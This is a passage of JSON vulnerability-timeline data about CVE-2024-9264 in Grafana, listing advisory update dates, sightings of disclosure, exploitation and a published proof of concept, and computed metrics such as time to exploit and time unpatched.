"OPENSUSE-SU-2026:20654-1", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2026-11-04T00:11:17.366Z", "date_only": false, "value": "2026-11-04T00:11:17.366Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2024-9264", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-11-04T00:11:17.366Z", "date_only": false, "value": "2026-11-04T00:11:17.366Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-9264", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-11-04T01:17:18.550Z", "date_only": false, "value": "2026-11-04T01:17:18.550", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-9264", "record": "FKIE_CVE-2024-9264", "field": "lastModified", "linked_record": true}], "metrics": {"as_of": "2026-11-04T15:57:45.622Z", "anchors": {"origin": {"timestamp": "2024-10-17T22:00:00Z", "date_only": false, "value": "2024-10-17T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2024-10-17T22:00:00Z", "date_only": false, "value": "2024-10-17T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "exploit_publication": {"timestamp": "2024-10-19T16:44:06Z", "date_only": false, "value": "2024-10-19T16:44:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/3340", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "59658214-a71a-43c7-9649-4fcaca2f1868", "content": "https://github.com/nollium/CVE-2024-9264\n\nExploit for Grafana arbitrary file-read (CVE-2024-9264)\n#github #exploit", "url": "https://t.me/CNArsenal/3340", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": {"timestamp": "2024-10-17T15:49:14Z", "date_only": false, "value": "2024-10-17T15:49:14.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://github.com/nollium/CVE-2024-9264", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "4f41ab48-bb13-4aaa-bb8d-0fc01ade444a", "url": "https://github.com/nollium/CVE-2024-9264", "metric_role": "exploitation", "metric_basis": "sighting_report"}, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": true, "seconds": -22246.0, "hours": -6.179444444444444, "days": -0.2574768518518519, "min_seconds": -22246.0, "max_seconds": -22246.0, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": true, "start": {"timestamp": "2024-10-17T22:00:00Z", "date_only": false, "value": "2024-10-17T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2024-10-17T15:49:14Z", "date_only": false, "value": "2024-10-17T15:49:14.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://github.com/nollium/CVE-2024-9264", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "4f41ab48-bb13-4aaa-bb8d-0fc01ade444a", "url": "https://github.com/nollium/CVE-2024-9264", "metric_role": "exploitation", "metric_basis": "sighting_report"}}, "disclosure_to_exploit": {"available": true, "seconds": -22246.0, "hours": -6.179444444444444, "days": -0.2574768518518519, "min_seconds": -22246.0, "max_seconds": -22246.0, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": true, "start": {"timestamp": "2024-10-17T22:00:00Z", "date_only": false, "value": "2024-10-17T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2024-10-17T15:49:14Z", "date_only": false, "value": "2024-10-17T15:49:14.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://github.com/nollium/CVE-2024-9264", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "4f41ab48-bb13-4aaa-bb8d-0fc01ade444a", "url": "https://github.com/nollium/CVE-2024-9264", "metric_role": "exploitation", "metric_basis": "sighting_report"}}, "disclosure_to_exploit_publication": {"available": true, "seconds": 153846.0, "hours": 42.735, "days": 1.780625, "min_seconds": 153846.0, "max_seconds": 153846.0, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-10-17T22:00:00Z", "date_only": false, "value": "2024-10-17T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2024-10-19T16:44:06Z", "date_only": false, "value": "2024-10-19T16:44:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/3340", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "59658214-a71a-43c7-9649-4fcaca2f1868", "content": "https://github.com/nollium/CVE-2024-9264\n\nExploit for Grafana arbitrary file-read (CVE-2024-9264)\n#github #exploit", "url": "https://t.me/CNArsenal/3340", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 64605465.622152, "hours": 17945.962672820002, "days": 747.7484447008334, "min_seconds": 64605465.622152, "max_seconds": 64605465.622152, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-10-17T22:00:00Z", "date_only": false, "value": "2024-10-17T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2026-11-04T15:57:45.622Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": true, "seconds": 64627711.622152, "hours": 17952.142117264444, "days": 748.0059215526852, "min_seconds": 64627711.622152, "max_seconds": 64627711.622152, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-10-17T15:49:14Z", "date_only": false, "value": "2024-10-17T15:49:14.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://github.com/nollium/CVE-2024-9264", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "4f41ab48-bb13-4aaa-bb8d-0fc01ade444a", "url": "https://github.com/nollium/CVE-2024-9264", "metric_role": "exploitation", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-04T15:57:45.622Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploit_publication_to_patch": {"available": true, "seconds": 64451619.622152, "hours": 17903.22767282, "days": 745.9678197008334, "min_seconds": 64451619.622152, "max_seconds": 64451619.622152, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-10-19T16:44:06Z", "date_only": false, "value": "2024-10-19T16:44:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/3340", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "59658214-a71a-43c7-9649-4fcaca2f1868", "content": "https://github.com/nollium/CVE-2024-9264\n\nExploit for Grafana arbitrary file-read (CVE-2024-9264)\n#github #exploit", "url": "https://t.me/CNArsenal/3340", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-04T15:57:45.622Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}